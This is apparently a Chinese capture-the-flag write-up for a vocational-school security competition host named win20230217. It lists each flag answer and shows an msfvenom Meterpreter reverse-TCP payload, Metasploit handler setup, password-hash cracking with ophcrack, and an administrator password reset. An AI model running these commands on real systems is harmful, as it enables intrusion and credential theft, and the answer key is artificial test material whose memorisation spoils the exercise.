中职组安全-win20230217-环境-解析

*任务说明:

仅能获取win20230217的IP地址

用户名:test,密码:123456

  1. 访问服务器主机,找到主机中管理员名称,将管理员名称作为Flag值提交;

john

  1. 访问服务器主机,找到主机中补丁信息,将补丁编号作为Flag值提交;

KB4500331

查看方法如下:打开"开始"菜单。

单击"控制面板"

打开"添加删除程序"。

在弹出来的窗口左上角有"查看已安装的更新"选项。

3·访问服务器主机,找到主机中管理员密码,将管理员密码作为Flag值提交;

Goodluck

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.100.100.119 LPORT=4444 -b"\x00" -f exe > aiyou.exe将驱动开启就可以传文件到靶机运行

1、启动Metasploit,use exploit/multi/handler

2、设置payload,set payload windows/meterpreter/reverse_tcp

3、设置监听,set lhost ip

4、设置监听端口,set lport 4444

将John的hash弄到ophcrack密码出来了

4·访问服务器主机,找到主机中管理员桌面下文本文档信息,将文本文档名称作为Flag值提交;

ruK97azZp4

5·访问服务器主机,找到主机中管理员桌面下文本文档信息,将文本文档中信息作为Flag值提交;

rdO35NBXXi

6·访问服务器主机,找到主机中回收站唯一信息,将信息中的内容作为Flag值提交。

VX1DUEv95s

修改administrator的密码,登录进去回收站查看

相关推荐
LlNingyu1 小时前
文艺复兴,什么是XSS,常见形式(二)
前端·安全·xss
北京软秦科技有限公司2 小时前
AI报告审核守护公共卫生安全:IACheck助力公共纺织品卫生检测报告合规与健康保障
大数据·人工智能·安全
阆遤2 小时前
利用TRAE对nanobot进行安全分析并优化
python·安全·ai·trae·nanobot
不一样的故事1265 小时前
核心预测未来 10 年
运维·安全·自动化
LlNingyu5 小时前
文艺复兴, 什么是XSS,常见形式(三)
网络·安全·xss
Honeyeagle6 小时前
无线移动在线复合式多合一气体检测仪:工业安全监测的革新利器
运维·网络·安全
桌面运维家6 小时前
网络运维:防火墙异常流量监控与安全配置优化
运维·网络·安全
星幻元宇VR8 小时前
VR司法矫正宣教机|构建沉浸式矫正教育新模式
科技·学习·安全·vr·虚拟现实
昨夜见军贴06169 小时前
透析用水与消毒供应中心检测如何更可靠?AI审核与IACheck守住医疗安全底线
人工智能·安全
深蓝电商API9 小时前
安全防护体系在跨境电商平台的构建
安全·系统架构·跨境电商·代购系统·反向海淘·代购平台